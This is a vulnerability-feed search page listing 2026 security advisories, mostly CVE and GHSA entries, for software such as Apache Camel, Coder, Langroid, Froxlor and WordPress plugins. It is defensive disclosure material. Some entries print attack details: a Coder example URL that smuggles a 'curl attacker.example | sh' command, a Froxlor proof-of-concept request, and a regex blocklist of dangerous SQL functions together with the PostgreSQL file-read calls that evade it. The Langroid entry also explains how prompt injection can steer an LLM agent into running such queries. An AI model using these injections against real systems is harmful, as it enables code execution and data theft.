Search: req.query.base
910 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 5.3 | EPSS 0.6% | CVE-2026-46453Apache Camel · Improper Input Validation Medium5.3EPSS 0.6%CVE Database V5CVE-2026-46453 Improper Input Validation, Authorization Bypass Through User-Controlled Key vulnerability in Apache Camel ElasticSearch Rest Client. The camel-elasticsearch-rest-client component reads several Exchange headers to control its behaviour - SEARCH_QUERY (an advanced query body), OPERATION (which Elasticsearch operation to run), INDEX_NAME, INDEX_SETTINGS and ID. The string values of these header constants, defined in ElasticSearchRestClientConstant, are plain unprefixed names ('SEARCH_QUERY', 'OPERATION', 'INDEX_NAME', 'INDEX_SETTINGS', 'ID') rather than the 'Camel'-prefixed names used by every other Camel component (for example CamelSqlQuery, CamelMongoDbCriteria, CamelCqlQuery). Camel's inbound HTTP header filter, HttpHeaderFilterStrategy, blocks only header names that begin with 'Camel' or 'camel'. Because the Elasticsearch header names do not carry that prefix, they pass through the inbound filter unchanged. When a Camel route exposes an HTTP entry point (for example platform-http) in front of an elasticsearch-rest-client producer, an untrusted HTTP client can set these headers directly on its request and override the query and operation that the route author configured: reading every document in the index (SEARCH_QUERY with a match_all query), deleting documents (OPERATION set to Delete together with ID), or exfiltrating selected fields. No credentials are required and the producer reads the headers unconditionally. This issue affects Apache Camel: from 4.3.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. The fix renames the camel-elasticsearch-rest-client Exchange header constant string values (ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION) to carry the Camel prefix (CamelElasticsearchId, CamelElasticsearchSearchQuery, CamelElasticsearchIndexSettings, CamelElasticsearchIndexName, CamelElasticsearchOperation) so that they are blocked by the inbound HttpHeaderFilterStrategy; the Java field names are unchanged. For deployments that cannot upgrade immediately, strip the affected headers from untrusted inbound messages before they reach the producer (for example removeHeader('SEARCH_QUERY'), removeHeader('OPERATION'), removeHeader('INDEX_NAME'), removeHeader('INDEX_SETTINGS') and removeHeader('ID') in front of the elasticsearch-rest-client endpoint), or apply a custom HeaderFilterStrategy that blocks these names. | CVE Database V5 | ||
| Medium | 5.5 | EPSS 0.4% | Medium5.5EPSS 0.4%CVE Database V5CVE-2026-11397 The WP Import Export Lite plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to and including 3.9.30 via the wpie_import_upload_file_from_url AJAX action. The plugin's URL downloader first calls wp_safe_remote_get() (which correctly blocks private/reserved IP ranges), but when that call returns a WP_Error — the exact outcome for any blocked internal host — the Download::download_file() method falls back to GuzzleHttp\Client::request() with the original attacker-supplied URL and no SSRF protection (and with TLS verification disabled). This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services such as the cloud metadata endpoint at 169. | CVE Database V5 | ||
| Medium | 6.9 | Medium6.9GCVE Database ### Summary `UForm` and `UAuthForm` render a server-side `<form>` element with no `method` and no `action` attribute, relying on a hydrated `@submit.prevent` handler to intercept submission. If a user submits the form before Vue hydration has attached the handler (autofill plus Enter on a slow network, JS bundle blocked by CSP or CDN failure, etc.), the browser performs the native default: a `GET` to the current URL with every named field, including `<input type="password">`, serialised into the query string. ### Details `src/runtime/components/Form.vue` (around the template's `<form>` element) emits: ```vue <component :is="parentBus ? 'div' : 'form'" :id="formId" ref="formRef" :class="ui({ class: [uiProp?.base, props.class] })" @submit.prevent="onSubmitWrapper" > ``` No `method`, no `action`. `@submit.prevent` is the only thing stopping native submission, and it only exists after hydration. `UAuthForm` composes `UForm` and inherits the same shape. The SSR snapshot of `UAuthForm` (`test/components/__snapshots__/AuthForm.spec.ts.snap`) shows the rendered markup, with `<input type="password" name="password">` inside a `<form>` that has no `method`. ### Proof of concept Reported by @nimonian: 1. Create a minimal Nuxt app with a `UAuthForm`. 2. Build for production and visit in a browser with network throttling at 4G or slower. 3. Enter credentials. 4. Submit (or let autofill + Enter fire before hydration). The URL becomes `/login?email=…&password=…`. Reproducible deterministically in Playwright by triggering submit immediately on `load`. ### Impact Any application using `UAuthForm` (or `UForm` with credential-shaped fields) as documented. The cleartext password lands in: - the address bar, - `window.history`, - the `Referer` header of every same-origin subresource fetched from the resulting URL, - access logs of any reverse proxy, CDN, or WAF that records request URLs. ### Patch Default the rendered `<form>` to `method="post"` so the pre-hydration fallback submits as POST rather than GET. Vue's `@submit.prevent` still intercepts the hydrated case; the attribute only matters in the race window. Applications that explicitly want native GET submission can opt back in by passing `method="get"`. ### Credit Reported by @nimonian. Originally filed as `GHSA-92g7-2fpq-hmq8` against `nuxt/nuxt`; moved here because the affected code lives in `@nuxt/ui`. | GCVE Database | |||
| Medium | 4.3 | Medium4.3GCVE Database ## Summary An authenticated customer can read other customers' allowed sender aliases from Froxlor's sender-delete confirmation page when `mail.enable_allow_sender` is enabled. `customer_email.php` loads `allowed_sender` by global auto-increment `senderid` alone, so a customer can enumerate foreign sender alias IDs and make Froxlor disclose those values in the confirmation dialog for the attacker's own mailbox. ## Details The vulnerable read lives in `customer_email.php`: ```php $senderid = Request::any('senderid', 0); ... $sel_stmt = Database::prepare("SELECT `allowed_sender` FROM `" . TABLE_MAIL_SENDER_ALIAS . "` WHERE `id` = :sid"); $sender_data = Database::pexecute_first($sel_stmt, ['sid' => $senderid]); HTML::askYesNo('email_reallydelete_sender', $filename, [ 'id' => $id, 'senderid' => $senderid, 'page' => $page, 'domainid' => $email_domainid, 'action' => $action ], $idna_convert->decode($result['email_full']) . ' -> ' . $sender_data['allowed_sender']); ``` The query does not scope `senderid` to the current customer or to the mailbox being edited. `mail_sender_aliases.id` is a global `AUTO_INCREMENT` primary key: ```sql CREATE TABLE `mail_sender_aliases` ( `id` int(11) NOT NULL auto_increment, `email` varchar(255) NOT NULL, `allowed_sender` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ``` That makes sender alias IDs enumerable. A customer who owns any mailbox with sender-alias management enabled can request the delete-confirmation page for their own mailbox while supplying foreign `senderid` values. Froxlor then renders the foreign `allowed_sender` string in the confirmation prompt. ## Proof of Concept Verified against Froxlor `2.3.6` on a fresh test install with `mail.enable_allow_sender=1`. 1. Create two customers, `victim` and `attacker`. 2. Give each customer one mailbox. 3. Add a sender alias for the victim mailbox: ```text info@victim.local -> leaked-sender@example.org ``` 4. Log in as the attacker and request the delete-confirmation page for the attacker's own mailbox while supplying the victim's sender alias ID: ```text /customer_email.php?page=senders&domainid=4&action=delete&id=2&senderid=1 ``` Observed in the live test instance: ```text Do you really want to delete the allowed sender info@attacker.local -> leaked-sender@example.org? ``` The attacker-controlled mailbox identifier stayed `info@attacker.local`, but the disclosed sender alias text came from the victim-owned row identified by `senderid=1`. ## Impact An authenticated customer can enumerate global sender alias IDs and read other customers' allowed sender values. This is a cross-tenant information disclosure. It does not let the attacker delete the foreign alias because the delete action revalidates ownership. ## Recommended Fix Scope the sender alias lookup to the current customer and mailbox before rendering the confirmation page. The confirmation flow should fetch the sender alias through the same ownership checks used by `EmailSender::delete()`. --- *Found by [aisafe.io](https://aisafe.io)* | GCVE Database | |||
| Low | 3.7 | EPSS 0.3% | CVE-2026-49245V2 · SFTPGo has stored XSS via inline parameter on public shares and user file download Low3.7EPSS 0.3%GCVE DatabaseCVE-2026-49245 SFTPGo versions 2.2.0 up to but not including 2.7.3 have a stored cross-site scripting (XSS) vulnerability via an inline query parameter on public shares and authenticated user file downloads. This flaw allows an attacker to serve HTML files as active content in the SFTPGo web origin by suppressing the Content-Disposition: attachment header. Exploitation requires the attacker to place a crafted file and convince a victim to open a malicious link, which is not generated by the WebClient, making social engineering necessary. The vulnerability is rated low severity due to constrained exploitation conditions and HttpOnly session cookies preventing cookie theft. The issue is fixed in version 2.7.3 by removing the inline parameter and enforcing Content-Disposition: attachment on affected endpoints. | GCVE Database | ||
| High | 8.1 | EPSS 2.6% | CVE-2026-44454V2 · Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent High8.1EPSS 2.6%GCVE DatabaseCVE-2026-44454 # Command injection via dotfiles URI parameter combined with workspace auto-creation ## Summary The `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. ## Details ### Command injection in the dotfiles module (root cause) The [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`. ### Auto-creation amplification (`mode=auto`) The Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack. Example URL: ``` https://<deployment>/templates/<template>/workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com ``` ## Impact Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module. ## Patches ### coder/registry (primary fix) Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source. - https://github.com/coder/registry/pull/703 ### coder/coder (defense-in-depth) A consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector. - Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011)) - Patched releases: - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR) - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline) ### Recognition We'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy | GCVE Database | ||
| High | 8.7 | EPSS 0.7% | CVE-2026-50180Langroid · SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read High8.7EPSS 0.7%GCVE DatabaseCVE-2026-50180 ### Summary `SQLChatAgent` in `langroid` ships a `_validate_query` defense-in-depth layer whose `_DANGEROUS_SQL_PATTERNS` regex blocklist enumerates dangerous SQL primitives by specific function name. The list misses the canonical PostgreSQL filesystem-disclosure family `pg_read_file()`, `pg_stat_file()`, `pg_ls_logdir()`, `pg_ls_waldir()`, `pg_current_logfile()` (and similar `SELECT`-shaped functions in the same family). It also leaves SQL Server `OPENDATASOURCE` and SQLite `ATTACH '<file>' AS x` (DATABASE keyword omitted) unblocked. An attacker able to shape the LLM's generated SQL (directly via prompt input or transitively via prompt-injection in data the LLM ingests) can read arbitrary files from the PostgreSQL host through ordinary `SELECT` queries, even with the agent's strict default configuration (`allow_dangerous_operations=False`, `allowed_statement_types=['SELECT']`). The payloads survive the statement-type allowlist (each is a `SELECT`) and pass through the regex blocklist (none of the function names match), then reach the live SQLAlchemy engine via `SQLChatAgent.run_query`. ### Affected versions `langroid` `<= 0.63.0` (latest at the time of this report; PyPI release 2026-05-27). The vulnerable code path is `langroid/agent/special/sql/sql_chat_agent.py::_validate_query`, which consults the module-level `_DANGEROUS_SQL_PATTERNS` literal at `sql_chat_agent.py:113-141`. ### Privilege required Any caller able to influence the LLM-generated `RunQueryTool.query` string that reaches `SQLChatAgent.run_query`. In a typical deployment this is any client of a SQLChatAgent-backed service, or any upstream data source whose content the LLM is asked to read and summarise. No PostgreSQL credentials are required from the attacker; the agent holds them. ### Vulnerable code `langroid/agent/special/sql/sql_chat_agent.py:113-141` (the `_DANGEROUS_SQL_PATTERNS` literal) and `sql_chat_agent.py:546-615` (the `_validate_query` method that consults it): ```python # sql_chat_agent.py:113 _DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [ re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE), re.compile(r"\bpg_read_server_files?\b", re.IGNORECASE), re.compile(r"\bpg_read_binary_file\b", re.IGNORECASE), re.compile(r"\bpg_ls_dir\b", re.IGNORECASE), re.compile(r"\blo_(import|export)\b", re.IGNORECASE), re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE), re.compile(r"\bload_file\s*\(", re.IGNORECASE), re.compile(r"\bload\s+data\b", re.IGNORECASE), re.compile(r"\bload_extension\s*\(", re.IGNORECASE), re.compile(r"\battach\s+database\b", re.IGNORECASE), re.compile(r"\bxp_cmdshell\b", re.IGNORECASE), re.compile(r"\bsp_oacreate\b", re.IGNORECASE), re.compile(r"\bsp_oamethod\b", re.IGNORECASE), re.compile(r"\bopenrowset\b", re.IGNORECASE), re.compile(r"\bbulk\s+insert\b", re.IGNORECASE), re.compile( r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger)\b", re.IGNORECASE, ), re.compile(r"\bcreate\s+extension\b", re.IGNORECASE), ] ``` The blocklist is a list of `\b<exact-token>\b` literals. PostgreSQL ships several near-name functions on the same primitive that none of these match: | Function | What it returns | Matched by blocklist? | |---|---|---| | `pg_read_server_file('/path')` | file contents | yes (`pg_read_server_files?`) | | `pg_read_binary_file('/path')` | binary contents | yes | | `pg_ls_dir('/path')` | directory listing | yes | | `pg_read_file('/path')` | file contents | **no** (no `_server_` infix) | | `pg_stat_file('/path')` | size, mtime, ctime, atime, isdir | **no** | | `pg_ls_logdir()` | filenames in PostgreSQL log dir | **no** | | `pg_ls_waldir()` | WAL filenames and sizes | **no** | | `pg_ls_tmpdir()` | temp-dir listing | **no** | | `pg_ls_archive_statusdir()` | archive-status directory listing | **no** | | `pg_current_logfile()` | active server log path | **no** | Each of these is a `SELECT`-shaped function call. They pass the `sqlglot_exp.Select`-only statement-type allowlist applied at `sql_chat_agent.py:583-614`, then evade the regex blocklist (their names contain no token the blocklist enumerates), then reach the SQLAlchemy `session.execute(text(query))` sink inside `SQLChatAgent.run_query` (line 631 onwards). Two non-PostgreSQL secondary gaps with the same regex-enumeration shape: - The SQLite pattern `\battach\s+database\b` requires the literal `DATABASE` keyword. Per the SQLite grammar (https://www.sqlite.org/lang_attach.html) the keyword is optional: `ATTACH '/path/to/db' AS x` is valid syntax and matches no entry in the blocklist. Whether the agent rejects this via the statement-type allowlist depends on how the configured `sqlglot` dialect parses it; on PostgreSQL dialect parsing fails (sqlglot returns no `Select`) and the statement-type check rejects, but a SQLite-dialect SQLChatAgent (`database_uri="sqlite:///..."`) returns the statement as `sqlglot_exp.Attach`, whi | GCVE Database | ||
| Medium | 6.5 | EPSS 0.6% | CVE-2026-14029Groundhogg (WordPress plugin) · SQL Injection Medium6.5EPSS 0.6%CVE Database V5CVE-2026-14029 The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to generic SQL Injection via the 'select' parameter in all versions up to, and including, 4.5.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the attacker to hold a Groundhogg custom role with the view_contacts capability, which is granted by default to several built-in Groundhogg roles above the base subscriber level. | CVE Database V5 | ||
| High | 7.6 | EPSS 0.3% | CVE-2026-14440Cloudflare Universal SSL · CWE-693 High7.6EPSS 0.3%CVE Database V5CVE-2026-14440 Description: To issue and renew TLS certificates on behalf of customers, Cloudflare's Universal SSL feature automatically manages the CAA RRset for the customer's zone. This auto-managed RRset is permissive by design (e.g. 'issue "letsencrypt.org"' without parameters). On Universal SSL zones, Cloudflare's authoritative DNS serves this auto-managed RRset at query time, superseding any customer-configured CAA records on the zone. When a customer publishes a stricter CAA record using the RFC 8657 accounturi or validationmethods parameters, the Certificate Authority does not observe those parameters when evaluating the served RRset under RFC 8659. As a result, the RFC 8657 account-binding and validation-method-binding protections are not enforced end-to-end on Universal SSL zones. Successful exploitation could result in issuance of a browser-trusted TLS certificate to an attacker, enabling MITM against the affected domain. Exploitation is non-trivial in practice: an attacker would need to hold an ACME account at one of the Certificate Authorities in the served CAA RRset and to simultaneously satisfy domain control validation across the multiple geographically distinct Network Perspectives the CA relies on for Multi-Perspective Issuance Corroboration. Cloudflare prefixes are anycast-announced from hundreds of locations globally, raising the bar against single-vantage-point BGP hijacks. Any resulting misissuance of a browser-trusted certificate is subject to Certificate Transparency logging required by major browsers, and would be visible to CT monitoring. Mitigation: Customers requiring strict RFC 8657 enforcement need to disable Universal SSL on the affected zone. Universal SSL's automatic CAA management and customer-set RFC 8657 accounturi and validationmethods enforcement are mutually exclusive by the nature of the issue, so there is no in-product workaround that preserves both. Certificate Transparency monitoring is recommended for all customers as a general detection control. Credits: David Osipov (ORCID: https://orcid.org/0009-0005-2713-9242), independent researcher | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.3% | CVE-2026-63758SurrealDB · Authorization Bypass in KILL Statement Allows Termination of Other Users' Live Queries Medium5.4EPSS 0.3%GCVE DatabaseCVE-2026-63758 SurrealDB versions prior to 3.1.0 contain an authorization bypass vulnerability in the KILL statement used to terminate live query subscriptions. The implementation verifies database-level access but fails to confirm that the requesting user owns the live query being terminated. This allows any authenticated user with database-level access to terminate other users' live queries silently, disrupting real-time data subscriptions and breaking multi-tenant isolation. The vulnerability requires knowledge of the target live query UUID, which may be exposed through logs or shared dashboards. The issue has been patched in version 3.1.0 with an ownership verification check. | GCVE Database | ||
| Medium | 6.5 | EPSS 0.5% | CVE-2026-56148Elastic Elasticsearch · Uncontrolled Recursion Medium6.5EPSS 0.5%CVE Database V5CVE-2026-56148 Uncontrolled Recursion (CWE-674) in Elasticsearch can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user can submit a specially crafted query that causes excessive resource consumption while the request is processed, which may render the affected node unavailable. | CVE Database V5 | ||
| Critical | 9.3 | EPSS 0.6% | CVE-2026-34099guardian language-system · SQL Injection Critical9.3EPSS 0.6%CVE Database V5CVE-2026-34099 Guardian language-system passes the id GET parameter directly into an unsanitized SQL query in job_info.php (line 16): SELECT * FROM jobs where id = '\".$_GET['id'].\"'. No authentication is required. An unauthenticated attacker can perform error-based SQL injection to extract the database version, current user, schema names, and table contents. | CVE Database V5 | ||
| Critical | 9.0 | EPSS 0.4% | CVE-2026-13603pretix-oppwa · Improper Input Validation Critical9.0EPSS 0.4%CVE Database V5CVE-2026-13603 The payment integration pretix-oppwa provides support for the payment providers VR Payment, Hobex, and potentially others based on Oppwa's technology. The integration of Oppwa, following their official documentation, includes a step where the user is redirected from the payment provider back to our system with a query parameter like ?resourcePath=/v1/checkouts/{checkoutId}/payment in the URL. Our system is then supposed to fetch the status of the transaction from the URL given by baseUrl + resourcePath. Our plugin pretix-oppwa did so insecurely by concatenating the parameter form the URL to the base domain of the API without further validation and, critically, without a / at the end of the baseUrl. Therefore, an attacker could inject a resourcePath argument in a way that causes pretix to call a different server instead. Since the request includes the access token (API key) of the Oppwa account, this would leak the access token, giving access to data contained in the payment provider's system. This is fixed with the release today by strictly validating the given API URL. After installing the update, we recommend asking your payment provider for a new access token and updating it in pretix. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.5% | Medium6.5EPSS 0.5%CVE Database V5CVE-2026-13454 The MotoPress Appointment Booking plugin for WordPress is vulnerable to generic SQL Injection via the 's' parameter in all versions up to, and including, 2.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the mpa_appointment_employee custom role, meaning any user assigned this role can perform the attack. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.5% | High8.8EPSS 0.5%GCVE Database @cedar-policy/authorization-for-expressjs versions up to 0.2.0 contain an authorization bypass vulnerability due to query string manipulation. The middleware uses req.originalUrl, which includes the query string, to match requests against authorization policies, while Express routes based only on the path. This mismatch allows attackers to bypass more restrictive authorization policies by appending query strings to requests targeting overlapping path prefixes with different access controls. The issue is fixed in version 0.3.0. | GCVE Database | ||
| Medium | 4.3 | EPSS 0.3% | CVE-2026-58373cvat · Missing Authorization Medium4.3EPSS 0.3%CVE Database V5CVE-2026-58373 CVAT before 2.69.0 contains an improper authorization vulnerability in QualityReportViewSet.get_queryset that allows authenticated attackers to enumerate quality report identifiers belonging to other organizations by exploiting a missing check_object_permissions call on the parent_id query parameter of the quality reports API endpoint. Attackers can send requests with sequential integer parent_id values and distinguish between existing and non-existing reports via HTTP 500 versus HTTP 404 response differences, disclosing cross-organization report existence without returning report content. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.6% | CVE-2026-58369woodpecker · NULL Pointer Dereference Medium5.3EPSS 0.6%CVE Database V5CVE-2026-58369 Woodpecker before 3.15.0 registers the /api/orgs/lookup/*org_full_name endpoint without authentication middleware, and the LookupOrg handler unconditionally dereferences the session user (user.ForgeID, via ForgeFromUser) when selecting the forge to query. For an unauthenticated request session.User returns nil, so any unauthenticated HTTP request triggers a NULL pointer dereference in the handler. The panic is recovered by gin recovery middleware and the server continues serving (returning HTTP 500), but each request writes a multi-line panic stack trace to the error log. A low-bandwidth unauthenticated attacker can repeatedly probe the endpoint to flood the logs (about 37 lines per request), inflating disk usage and downstream log-ingestion cost and burying legitimate log events. | CVE Database V5 | ||
| High | 8.5 | EPSS 0.3% | CVE-2026-57955SigNoz through 0.130.1 contains a SQL injection vulnerability that allows authenticated attackers to execute arbitrary High8.5EPSS 0.3%GCVE DatabaseCVE-2026-57955 SigNoz versions up to 0.130.1 contain a SQL injection vulnerability in the alert-history endpoints. Authenticated attackers can inject URL-encoded quotes into the rule ID path parameter, enabling arbitrary ClickHouse query execution. This allows attackers to read all stored traces, logs, and metrics, and potentially perform server-side request forgery via the url() function. | GCVE Database | ||
| Medium | 6.3 | EPSS 0.2% | CVE-2026-13748Snowflake CLI · Path Traversal Medium6.3EPSS 0.2%CVE Database V5CVE-2026-13748 Improper restriction of file path resolution in Snowflake CLI versions prior to 3.19 allowed arbitrary local file content to be read and transmitted to Snowflake services. An attacker could exploit this by supplying crafted repository or project content that referenced files outside the intended project boundary, causing Snowflake CLI to read local files and upload or embed their contents during deployment or SQL template processing. Successful exploitation required the victim to process attacker-controlled project content, and retrieval of exfiltrated data depended on access to the victim's Snowflake account artifacts such as query history or uploaded stage content. The fix is available in Snowflake CLI version 3.19, and users must manually upgrade. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-13512Databend · Authorization Bypass Medium5.3EPSS 0.4%CVE Database V5CVE-2026-13512 A vulnerability was identified in Databend up to 1.2.881 on HTTP. This affects the function ClientSessionManager::state_key of the file src/query/service/src/servers/http/v1/session/client_session_manager.rs of the component Tenant Handler. The manipulation leads to authorization bypass. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The pull request to fix this issue awaits acceptance. EPSS 0.4%Vulnerability | CVE Database V5 |
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